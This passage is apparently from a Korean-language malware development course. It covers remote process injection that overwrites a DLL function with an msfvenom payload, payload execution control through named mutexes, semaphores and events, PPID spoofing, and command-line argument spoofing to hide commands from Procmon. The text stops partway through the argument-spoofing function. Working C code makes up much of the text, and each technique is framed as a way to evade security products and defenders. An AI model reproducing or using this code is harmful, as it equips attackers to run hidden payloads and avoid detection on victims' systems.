    	if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten) || sPayloadSize != sNumberOfBytesWritten){
    		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
    		printf("[!] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
    		return FALSE;
    	}
    
    	if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    		printf("[!] VirtualProtectEx [RWX] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    
    int wmain(int argc, wchar_t* argv[]) {
    
    	HANDLE		hProcess		= NULL,
    		        hThread			= NULL;
    	PVOID		pAddress		= NULL;
    	DWORD		dwProcessId		= NULL;
    
    	HMODULE		hModule			= NULL;
    
    	if (argc < 2) {
    		wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);
    		return -1;
    	}
    
    	wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[1]);
    	if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
    		printf("[!] Process is Not Found \n");
    		return -1;
    	}
    	printf("[+] DONE \n");
    	printf("[i] Found Target Process Pid: %d \n", dwProcessId);
    
    
    
    	printf("[i] Loading \"%s\"... ", SACRIFICIAL_DLL);
    	hModule = LoadLibraryA(SACRIFICIAL_DLL);
    	if (hModule == NULL) {
    		printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    	printf("[+] DONE \n");
    
    
    	pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    	if (pAddress == NULL) {
    		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    	printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
    
    
    	printf("[#] Press <Enter> To Write Payload ... ");
    	getchar();
    	printf("[i] Writing ... ");
    	if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
    		return -1;
    	}
    	printf("[+] DONE \n");
    
    
    
    	printf("[#] Press <Enter> To Run The Payload ... ");
    	getchar();
    
    	hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
    	if (hThread != NULL)
    		WaitForSingleObject(hThread, INFINITE);
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    }

    데모

    Notepad.exe 프로세스를 타겟팅합니다.

    SetupScanFileQueueA의주소를 검색합니다.

    SetupScanFileQueueA 함수의 원본 바이트입니다.

    함수의 바이트를 Msfvenom 계산 페이로드로 바꿉니다.

    페이로드를 실행합니다.


    46. 페이로드 실행 제어

    페이로드 실행 제어

    소개

    실제 시나리오에서는 멀웨어가 수행하는 작업을 제한하고 필수 작업에 집중하는 것이 중요합니다. 멀웨어가 수행하는 작업이 많을수록 모니터링 시스템에서 포착될 가능성이 높아집니다.

    Windows 동기화 개체를 사용하여 페이로드의 실행을 제어할 수 있습니다. 이러한 개체는 여러 스레드 또는 프로세스의 공유 리소스 액세스를 조정하여 공유 리소스가 제어된 방식으로 액세스되도록 하고 여러 스레드 또는 프로세스가 동일한 리소스에 동시에 액세스하려고 할 때 충돌이나 경합 상태를 방지합니다. 동기화 개체를 사용하면 시스템에서 페이로드가 실행되는 횟수를 제어할 수 있습니다.

    동기화 객체에는 세마포어뮤텍스이벤트 등 여러 가지 유형이 있습니다. 각 유형의 동기화 객체는 조금씩 다른 방식으로 작동하지만 궁극적으로는 모두 공유 리소스에 대한 액세스를 조정하는 동일한 목적을 수행합니다.

    세마포어

    세마포어는 메모리에 저장된 값을 활용하여 공유 리소스에 대한 액세스를 제어하는 동기화 도구입니다. 세마포어는 바이너리와 카운팅의 두 가지 유형이 있습니다. 이진 세마포어는 리소스를 사용할 수 있는지 또는 사용할 수 없는지를 각각 1 또는 0의 값으로 나타냅니다. 반면에 카운팅 세마포어는 1보다 큰 값을 가지며, 사용 가능한 리소스의 수 또는 리소스에 동시에 액세스할 수 있는 프로세스의 수를 나타냅니다.

    페이로드의 실행을 제어하기 위해 페이로드가 실행될 때마다 네임드 세마포어 객체가 생성됩니다. 바이너리가 여러 번 실행되는 경우 첫 번째 실행 시 네임드 세마포어가 생성되고 페이로드가 의도한 대로 실행됩니다. 이후 실행 시에는 같은 이름의 세마포어가 이미 실행 중이므로 세마포어 생성에 실패합니다. 이는 페이로드가 현재 이전 실행에서 실행 중이므로 중복을 피하기 위해 다시 실행해서는 안 된다는 것을 나타냅니다.

    CreateSemaphoreA는 세마포어 객체를 생성하는 데 사용됩니다. 초기 바이너리 실행 후 실행을 방지하려면 명명된 세마포어로 생성하는 것이 중요합니다. 명명된 세마포어가 이미 실행 중인 경우 CreateSemaphoreA는 기존 객체에 대한 핸들을 반환하고 GetLastError는 ERROR_ALREADY_EXISTS를 반환합니다. 아래 코드에서 “ControlString” 세마포어가 이미 실행 중인 경우, GetLastError는 ERROR_ALREADY_EXISTS를 반환합니다.

    HANDLE hSemaphore = CreateSemaphoreA(NULL, 10, 10, "ControlString");
    
    if (hSemaphore != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
    	// Payload is already running
    else
    	// Payload is not running

    뮤텍스

    “상호 제외”의 줄임말인 뮤텍스는 프로세스 및 스레드 간의 공유 리소스에 대한 액세스를 관리하는 데 사용되는 동기화 도구입니다. 실제 사용 시 공유 리소스에 액세스하려는 스레드는 뮤텍스의 상태를 확인합니다. 뮤텍스가 잠겨 있으면 스레드는 뮤텍스가 잠금 해제될 때까지 기다렸다가 계속 진행합니다. 뮤텍스가 잠겨 있지 않으면 스레드는 뮤텍스를 잠그고 공유 리소스에 대해 필요한 작업을 수행한 다음 완료되면 뮤텍스의 잠금을 해제합니다. 이렇게 하면 한 번에 하나의 스레드만 공유 리소스에 액세스할 수 있으므로 충돌과 데이터 손상을 방지할 수 있습니다.

    CreateMutexA는 다음과 같이 명명된 뮤텍스를 생성하는 데 사용됩니다:

    HANDLE hMutex = CreateMutexA(NULL, FALSE, "ControlString");
    
    if (hMutex != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
    	// Payload is already running
    else
    	// Payload is not running

    이벤트

    이벤트는 스레드 또는 프로세스의 실행을 조정하는 데 사용할 수 있는 또 다른 동기화 도구입니다. 수동 또는 자동 이벤트가 있으며, 수동 이벤트는 명시적인 설정 또는 재설정 작업이 필요하고 자동 이벤트는 타이머 만료 또는 작업 완료와 같은 외부 조건에 의해 트리거됩니다.

    프로그램에서 이벤트를 사용하려면 CreateEventA WinAPI를 사용할 수 있습니다. 이 함수의 사용법은 아래에 설명되어 있습니다:

    HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, "ControlString");
    
    if (hEvent != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
    	// Payload is already running
    else
    	// Payload is not running

    데모

    세마포어 사용.

    뮤텍스 사용.

    이벤트 사용.


    47. PPID 스푸핑

    PPID 스푸핑

    소개

    부모 프로세스 ID(PPID) 스푸핑은 프로세스의 PPID를 변경하여 자식 프로세스와 실제 부모 프로세스 간의 관계를 효과적으로 위장하는 데 사용되는 기술입니다. 이는 자식 프로세스의 PPID를 다른 값으로 변경하여 프로세스가 실제 부모 프로세스가 아닌 다른 합법적인 Windows 프로세스에서 생성된 것처럼 보이게 함으로써 수행할 수 있습니다.

    보안 솔루션과 방어자는 종종 비정상적인 부모-자식 관계를 찾습니다. 예를 들어, Microsoft Word에서 cmd.exe를 스폰하는 경우 일반적으로 악성 매크로가 실행되고 있음을 나타냅니다. cmd.exe가 다른 PPID로 스폰되면 실제 부모 프로세스가 숨겨지고 대신 다른 프로세스에서 스폰된 것처럼 보입니다.

    얼리버드 APC 큐 코드 인젝션 모듈에서, 보안 솔루션이 악성 활동을 탐지하는 데 사용할 수 있는 런타임브로커.exe가 얼리버드.exe에 의해 생성되었습니다.

    속성 목록

    속성 목록은 프로세스 또는 스레드와 관련된 속성 목록을 저장하는 데이터 구조입니다. 이러한 속성에는 프로세스 또는 스레드의 우선순위, 스케줄링 알고리즘, 상태, CPU 선호도, 메모리 주소 공간 등의 정보가 포함될 수 있습니다. 속성 목록은 프로세스 및 스레드에 대한 정보를 효율적으로 저장하고 검색하는 데 사용할 수 있을 뿐만 아니라 런타임에 프로세스 또는 스레드의 속성을 수정하는 데도 사용할 수 있습니다.

    PPID 스푸핑을 사용하려면 프로세스의 속성 목록을 사용하고 조작하여 PPID를 수정해야 합니다. 프로세스의 속성 목록 사용 및 수정에 대해서는 다음 섹션에서 설명합니다.

    프로세스 만들기

    PPID를 스푸핑하는 프로세스는 생성된 프로세스에 대한 추가 제어 권한을 부여하는 데 사용되는 EXTENDED_STARTUPINFO_PRESENT 플래그가 설정되어 있는 CreateProcess를 사용하여 프로세스를 생성해야 합니다. 이 플래그를 사용하면 프로세스에 대한 일부 정보(예: PPID 정보)를 수정할 수 있습니다. EXTENDED_STARTUPINFO_PRESENT에 대한 Microsoft의 설명서는 다음과 같이 설명합니다:

    프로세스는 확장된 시작 정보로 생성되며, lpStartupInfo 매개변수는 STARTUPINFOEX 구조를 지정합니다.

    즉, 스타트업 정보 엑사 데이터 구조도 필요합니다.

    스타트업 인포엑사 구조

    스타트업 정보 엑사 데이터 구조는 아래와 같습니다:

    typedef struct _STARTUPINFOEXA {
      STARTUPINFOA                 StartupInfo;
      LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Attributes List
    } STARTUPINFOEXA, *LPSTARTUPINFOEXA;
    • StartupInfo는 이전 모듈에서 새 프로세스를 생성하는 데 사용된 것과 동일한 구조입니다. 자세한 내용은 얼리버드 APC 대기열 코드 주입 및 스레드 하이재킹 – 원격 스레드 생성을 참조하세요. 설정해야 하는 유일한 멤버는 cb에서 sizeof(STARTUPINFOEX)로 변경하면 됩니다.
    • lpAttributeList는 InitializeProcThreadAttributeList WinAPI를 사용하여 생성됩니다. 이는 다음 섹션에서 자세히 설명하는 속성 목록 데이터 구조입니다.

    속성 목록 초기화

    초기화 프로크 스레드 속성 목록 함수는 아래와 같습니다.

    BOOL InitializeProcThreadAttributeList(
      [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
      [in]            DWORD                        dwAttributeCount,
                      DWORD                        dwFlags, 		// NULL (reserved)
      [in, out]       PSIZE_T                      lpSize
    );

    생성된 자식 프로세스의 부모 프로세스를 수정하는 속성 목록을 전달하려면 먼저 InitializeProcThreadAttributeList WinAPI를 사용하여 속성 목록을 생성합니다. 이 API는 프로세스 및 스레드 생성을 위해 지정된 속성 목록을 초기화합니다. Microsoft의 설명서에 따르면 InitializeProcThreadAttributeList는 두 번 호출해야 합니다:

    1. InitializeProcThreadAttributeList에 대한 첫 번째 호출은 lpAttributeList 파라미터에 대해 NULL이어야 합니다. 이 호출은 lpSize 파라미터에서 수신할 속성 목록의 크기를 결정하는 데 사용됩니다.
    2. InitializeProcThreadAttributeList에 대한 두 번째 호출은 lpAttributeList 파라미터에 대한 유효한 포인터를 지정해야 합니다. 이번에는 lpSize의 값을 입력으로 제공해야 합니다. 이 호출은 속성 목록을 초기화하는 호출입니다.

    속성 목록이 하나만 필요하므로 dwAttributeCount는 1로 설정됩니다.

    속성 목록 업데이트

    속성 목록이 성공적으로 초기화되면 업데이트프로크 스레드 속성 WinAPI를 사용하여 목록에 속성을 추가합니다. 이 함수는 아래와 같습니다.

    BOOL UpdateProcThreadAttribute(
      [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,   // return value from InitializeProcThreadAttributeList
      [in]            DWORD                        dwFlags,           // NULL (reserved)
      [in]            DWORD_PTR                    Attribute,
      [in]            PVOID                        lpValue,           // pointer to the attribute value
      [in]            SIZE_T                       cbSize,            // sizeof(lpValue)
      [out, optional] PVOID                        lpPreviousValue,   // NULL (reserved)
      [in, optional]  PSIZE_T                      lpReturnSize       // NULL (reserved)
    );
    
    • 속성 – 이 플래그는 PPID 스푸핑에 중요하며 속성 목록에서 업데이트해야 할 항목을 명시합니다. 이 경우 부모 프로세스 정보를 업데이트하려면 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 플래그로 설정해야 합니다.

    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 플래그는 스레드의 부모 프로세스를 지정합니다. 일반적으로 스레드의 부모 프로세스는 스레드를 만든 프로세스입니다. CreateThread 함수를 사용하여 스레드가 생성된 경우 부모 프로세스는 CreateThread 함수를 호출한 프로세스입니다. CreateProcess 함수를 사용하여 새 프로세스의 일부로 스레드를 만든 경우 부모 프로세스는 새 프로세스입니다. 스레드의 부모 프로세스를 업데이트하면 연결된 프로세스의 부모 프로세스도 업데이트됩니다.

    • lpValue – 부모 프로세스의 핸들입니다.
    • cbSize – lpValue 매개변수로 지정된 속성 값의 크기입니다. 이 값은 sizeof(HANDLE)로 설정됩니다.

    구현 로직

    아래 단계는 PPID 스푸핑을 수행하는 데 필요한 조치를 요약한 것입니다.

    1. 생성된 프로세스에 대한 추가 제어를 제공하기 위해 EXTENDED_STARTUPINFO_PRESENT 플래그와 함께 CreateProcessA를 호출합니다.
    2. 속성 목록인 LPPROC_THREAD_ATTRIBUTE_LIST가 포함된 STARTUPINFOEXA 구조가 생성됩니다.
    3. 속성 목록을 초기화하기 위해 InitializeProcThreadAttributeList가 호출됩니다. 이 함수는 두 번 호출해야 하며, 첫 번째 호출은 속성 목록의 크기를 결정하고 다음 호출은 초기화를 수행합니다.
    4. UpdateProcThreadAttribute는 사용자가 스레드의 부모 프로세스를 지정할 수 있는 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 플래그를 설정하여 어트리뷰트를 업데이트하는 데 사용됩니다.

    PPID 스푸핑 기능

    CreatePPidSpoofedProcess는 스푸핑된 PPID로 프로세스를 생성하는 함수입니다. 이 함수는 5개의 인수를 받습니다:

    • h부모 프로세스 – 새로 생성된 프로세스의 부모가 될 프로세스에 대한 핸들입니다.
    • lpProcessName – 생성할 프로세스의 이름입니다.
    • dwProcessId – 새로 생성된 프로세스의 PID를 수신하는 DWORD에 대한 포인터입니다.
    • hProcess – 새로 생성된 프로세스에 대한 핸들을 수신하는 HANDLE에 대한 포인터입니다.
    • hThread – 새로 생성된 프로세스의 스레드에 대한 핸들을 수신하는 HANDLE에 대한 포인터입니다.
    BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
    
    	CHAR                               lpPath               [MAX_PATH * 2];
    	CHAR                               WnDr                 [MAX_PATH];
    
    	SIZE_T                             sThreadAttList       = NULL;
    	PPROC_THREAD_ATTRIBUTE_LIST        pThreadAttList       = NULL;
    
    	STARTUPINFOEXA                     SiEx                = { 0 };
    	PROCESS_INFORMATION                Pi                  = { 0 };
    
    	RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
    	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
    
    	// Setting the size of the structure
    	SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    
    	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
    		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
    
    	//-------------------------------------------------------------------------------
    
    	// This will fail with ERROR_INSUFFICIENT_BUFFER, as expected
    	InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);
    
    	// Allocating enough memory
    	pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
    	if (pThreadAttList == NULL){
    		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Calling InitializeProcThreadAttributeList again, but passing the right parameters
    	if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
    		printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
    		printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Setting the LPPROC_THREAD_ATTRIBUTE_LIST element in SiEx to be equal to what was
    	// created using UpdateProcThreadAttribute - that is the parent process
    	SiEx.lpAttributeList = pThreadAttList;
    
    	//-------------------------------------------------------------------------------
    
    	if (!CreateProcessA(
    		NULL,
    		lpPath,
    		NULL,
    		NULL,
    		FALSE,
    		EXTENDED_STARTUPINFO_PRESENT,
    		NULL,
    		NULL,
    		&SiEx.StartupInfo,
    		&Pi)) {
    		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    
    	*dwProcessId	= Pi.dwProcessId;
    	*hProcess		= Pi.hProcess;
    	*hThread		= Pi.hThread;
    
    
    	// Cleaning up
    	DeleteProcThreadAttributeList(pThreadAttList);
    	CloseHandle(hParentProcess);
    
    	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    		return TRUE;
    
    	return FALSE;
    }

    데모

    PID가 21956인 svchost.exe를 부모로 하는 하위 프로세스 런타임브로커.exe를 생성합니다. 이 svchost.exe 프로세스는 일반 권한으로 실행 중이라는 점에 유의하세요.

    PPID 스푸핑이 성공했습니다. 런타임브로커.exe 프로세스는 svchost.exe에 의해 생성된 것처럼 표시됩니다.

    데모 2 – 현재 디렉토리 업데이트

    이전 데모에서 ‘현재 디렉토리’ 값이 PPidSpoofing.exe 바이너리의 디렉터리를 가리키는 것을 확인할 수 있습니다.

    보안 솔루션이나 방어자가 이러한 이상 징후를 빠르게 포착할 수 있습니다. 이 문제를 해결하려면 CreateProcess WinAPI의 lpCurrentDirectory 매개변수를 “C:\Windows\System32″와 같이 덜 의심스러운 디렉터리로 설정하면 됩니다.


    48. 프로세스 인자 스푸핑 (1)

    프로세스 인자 스푸핑 (1)

    소개

    프로세스 인수 스푸핑은 새로 생성된 프로세스의 명령줄 인수를 숨겨 Procmon과 같은 로깅 서비스에 노출되지 않고 명령을 쉽게 실행할 수 있도록 하는 기법입니다.

    아래 이미지는 Procmon에서 powershell.exe -c calc.exe 명령을 로깅하는 모습을 보여줍니다. 이 모듈의 목적은 Procmon에 성공적으로 로깅되지 않은 상태에서 powershell.exe -c calc.exe를 실행하는 것입니다.

    PEB 검토

    인자 스푸핑을 수행하기 위한 첫 번째 단계는 프로세스 내에서 인자가 저장되는 위치를 파악하는 것입니다. 이 과정을 시작할 때 설명한 PEB 구조는 프로세스에 대한 정보를 담고 있습니다. 좀 더 구체적으로 설명하자면, PEB 내부의 RTL_USER_PROCESS_PARAMETERS 구조체에는 명령줄 인수를 보관하는 CommandLine 멤버가 포함되어 있습니다. RTL_USER_PROCESS_PARAMETERS 구조는 아래와 같습니다.

    typedef struct _RTL_USER_PROCESS_PARAMETERS {
      BYTE           Reserved1[16];
      PVOID          Reserved2[10];
      UNICODE_STRING ImagePathName;
      UNICODE_STRING CommandLine;
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

    CommandLine은 유니코드_스트링으로 정의됩니다.

    유니코드_스트링 구조

    유니코드 구조는 아래와 같습니다.

    typedef struct _UNICODE_STRING {
      USHORT Length;
      USHORT MaximumLength;
      PWSTR  Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;

    Buffer 요소에는 명령줄 인수의 내용이 포함됩니다. 이를 염두에 두고 PEB->ProcessParameters.CommandLine.Buffer를 와이드 문자 문자열로 사용하여 명령줄 인수에 액세스할 수 있습니다.

    프로세스 인수를 스푸핑하는 방법

    명령줄 인수의 스푸핑을 수행하려면 먼저 의심스러운 것으로 간주되지 않는 더미 인수를 전달하여 일시 중단된 상태로 대상 프로세스를 만들어야 합니다. 프로세스를 다시 시작하기 전에 PEB->ProcessParameters.CommandLine.Buffer 문자열을 원하는 페이로드 문자열로 패치해야 로깅 서비스가 실행될 실제 명령줄 인수가 아닌 더미 인수를 기록하게 됩니다. 이 절차를 수행하려면 다음 단계를 수행해야 합니다:

    1. 일시 중단된 상태로 대상 프로세스를 만듭니다.
    2. 생성된 프로세스의 원격 PEB 주소를 가져옵니다.
    3. 생성된 프로세스에서 원격 PEB 구조를 읽습니다.
    4. 생성된 프로세스에서 원격 PEB->ProcessParameters 구조를 읽습니다.
    5. 문자열 ProcessParameters.CommandLine.Buffer를 패치하고 실행할 페이로드로 덮어씁니다.
    6. 프로세스를 다시 시작합니다.

    런타임에 Peb->ProcessParameters.CommandLine.Buffer에 기록되는 페이로드 인수의 길이는 일시 중단된 프로세스 생성 중에 생성된 더미 인수의 길이보다 작거나 같아야 합니다. 실제 인수가 더 크면 더미 인수가 더미 인수 외부의 바이트를 덮어쓰게 되어 프로세스가 충돌할 수 있습니다. 이를 방지하려면 항상 더미 인수가 실행될 인자보다 큰지 확인하세요.

    원격 PEB 주소 검색

    원격 프로세스의 PEB 주소를 검색하려면 ProcessBasicInformation 플래그가 있는 NtQueryInformationProcess를 사용해야 합니다.

    문서에 명시된 바와 같이 ProcessBasicInformation 플래그를 사용하는 경우 NtQueryInformationProcess는 다음과 같은 PROCESS_BASIC_INFORMATION 구조를 반환합니다:

    typedef struct _PROCESS_BASIC_INFORMATION {
        NTSTATUS    ExitStatus;
        PPEB        PebBaseAddress;                // Points to a PEB structure.
        ULONG_PTR   AffinityMask;
        KPRIORITY   BasePriority;
        ULONG_PTR   UniqueProcessId;
        ULONG_PTR   InheritedFromUniqueProcessId;
    } PROCESS_BASIC_INFORMATION;

    NtQueryInformationProcess는 시스템 호출이므로 이전 모듈에 표시된 데 로 GetModuleHandle 및 GetProcAddress를 사용하여 호출해야 합니다.

    원격 PEB 구조 읽기

    원격 프로세스에 대한 PEB 주소를 검색한 후 아래와 같이 ReadProcessMemory WinAPI를 사용하여 PEB 구조를 읽을 수 있습니다.

    BOOL ReadProcessMemory(
      [in]  HANDLE  hProcess,
      [in]  LPCVOID lpBaseAddress,
      [out] LPVOID  lpBuffer,
      [in]  SIZE_T  nSize,
      [out] SIZE_T  *lpNumberOfBytesRead
    );

    ReadProcessMemory는 lpBaseAddress 매개변수에 지정된 주소에서 데이터를 읽는 데 사용됩니다. 이 함수는 두 번 호출해야 합니다:

    1. 첫 번째 호출은 NtQueryInformationProcess의출력에서 얻은 PEB 주소를 전달하여 PEB 구조를 읽는 데 사용됩니다. 이 주소는 lpBaseAddress 매개변수로 전달됩니다.
    2. 그런 다음 두 번째로 호출되어 RTL_USER_PROCESS_PARAMETERS 구조를 읽고 해당 주소를 lpBaseAddress 파라미터로 전달합니다. RTL_USER_PROCESS_PARAMETERS는 첫 번째 호출 시 PEB 구조체 내에서 찾을 수 있다는 점에 유의하세요. 이 구조체에는 인수 스푸핑을 수행하는 데 필요한 CommandLine 멤버가 포함되어 있음을 기억하세요.

    RTL_USER_PROCESS_PARAMETERS 크기

    RTL_USER_PROCESS_PARAMETERS 구조를 읽을 때는 sizeof(RTL_USER_PROCESS_PARAMETERS)보다 더 많은 바이트를 읽어야 합니다. 이는 이 구조체의 실제 크기가 더미 인수의 크기에 따라 달라지기 때문입니다. 전체 구조를 읽으려면 추가 바이트를 읽어야 합니다. 코드 샘플에서는 추가로 225바이트를 읽습니다.

    CommandLine.Buffer 패치 적용

    RTL_USER_PROCESS_PARAMETERS 구조를 얻었으면 CommandLine.Buffer에 액세스하여 패치할 수 있습니다. 이를 위해 아래와 같이 WriteProcessMemory WinAPI가 사용됩니다.

    BOOL WriteProcessMemory(
      [in]  HANDLE  hProcess,
      [in]  LPVOID  lpBaseAddress,          // What is being overwritten (CommandLine.Buffer)
      [in]  LPCVOID lpBuffer,               // What is being written (new process argument)
      [in]  SIZE_T  nSize,
      [out] SIZE_T  *lpNumberOfBytesWritten
    );
    • lpBaseAddress를 덮어쓰는 항목으로 설정해야 하며, 이 경우 CommandLine.Buffer입니다.
    • lpBuffer는 더미 인수를 덮어쓸 데이터입니다. 이 데이터는 와이드 문자 문자열인 CommandLine.Buffer를 대체할 와이드 문자 문자열이어야 합니다.
    • nSize 매개변수는 바이트 단위로 기록할 버퍼의 크기입니다. 이 값은 기록 중인 문자열의 길이에 WCHAR의 크기를 곱한 값에 1(널 문자의 경우)을 더한 값과 같아야 합니다.
    lstrlenW(NewArgument) * sizeof(WCHAR) + 1

    도우미 기능

    이 모듈의 코드는 대상 프로세스에서 읽고 쓰는 두 개의 헬퍼 함수를 사용합니다.

    ReadFromTargetProcess 함수

    ReadFromTargetProcess 도우미 함수는 대상 프로세스에서 읽은 버퍼가 포함된 할당된 힙을 반환합니다. 먼저 PEB 구조를 읽은 다음 이를 사용하여 RTL_USER_PROCESS_PARAMETERS 구조를 검색합니다. ReadFromTargetProcess 함수는 아래와 같습니다.

    BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {
    
    	SIZE_T	sNmbrOfBytesRead	= NULL;
    
    	*ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);
    
    	if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize){
    		printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError());
    		printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize);
    		return FALSE;
    	}
    
    	return TRUE;
    }

    WriteToTargetProcess 함수

    WriteToTargetProcess 도우미 함수는 적절한 파라미터를 WriteProcessMemory에 전달하고 출력을 확인합니다. WriteToTargetProcess 함수는 아래와 같습니다.

    BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {
    
    	SIZE_T sNmbrOfBytesWritten	= NULL;
    
    	if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) {
    		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
    		printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize);
    		return FALSE;
    	}
    
    	return TRUE;
    }

    프로세스 인수 스푸핑 함수

    CreateArgSpoofedProcess는 새로 생성된 프로세스에 대해 인수 스푸핑을 수행하는 함수입니다. 이 함수에는 5개의 인수가 필요합니다:

    • szStartupArgs – 더미 인자. 양성이어야 합니다.
    • szRealArgs – 실행할 실제 인수입니다.
    • dwProcessId – PID를 수신하는 DWORD에 대한 포인터입니다.
    • hProcess – 프로세스 핸들을 수신하는 HANDLE에 대한 포인터입니다.
    • hThread – 프로세스의 스레드 핸들을 수신하는 DWORD에 대한 포인터입니다.
    BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
    
    	NTSTATUS                      STATUS   = NULL;
    
    	WCHAR                         szProcess [MAX_PATH];
    
    	STARTUPINFOW                  Si       = { 0 };
    	PROCESS_INFORMATION           Pi       = { 0 };
    
    	PROCESS_BASIC_INFORMATION     PBI      = { 0 };
    	ULONG                         uRetern  = NULL;
    
    	PPEB                          pPeb     = NULL;
    	PRTL_USER_PROCESS_PARAMETERS  pParms   = NULL;
    
    
    	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
    	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
    
    	Si.cb = sizeof(STARTUPINFOW);
    
    	// Getting the address of the NtQueryInformationProcess function
    	fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
    	if (pNtQueryInformationProcess == NULL)
    		return FALSE;
    
    
    	lstrcpyW(szProcess, szStartupArgs);
    
    	if (!CreateProcessW(
    		NULL,
    		szProcess,
    		NULL,
    		NULL,
    		FALSE,
    		CREATE_SUSPENDED | CREATE_NO_WINDOW,      // creating the process suspended & with no window
    		NULL,
    		L"C:\\Windows\\System32\\",               // we can use GetEnvironmentVariableW to get this Programmatically
    		&Si,
    		&Pi)) {
    		printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    
    	// Getting the PROCESS_BASIC_INFORMATION structure of the remote process which contains the PEB address
    	if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
    		printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	// Reading the PEB structure from its base address in the remote process
    	if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
    		printf("\t[!] Failed To Read Target's Process Peb \n");
    		return FALSE;
    	}
    
    	// Reading the RTL_USER_PROCESS_PARAMETERS structure from the PEB of the remote process
    	// Read an extra 0xFF bytes to ensure we have reached the CommandLine.Buffer pointer
    	// 0xFF is 255 but it can be whatever you like
    	if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
    		printf("\t[!] Failed To Read Target's Process ProcessParameters \n");
    		return FALSE;
    	}
    
    	// Writing the real argument to the process
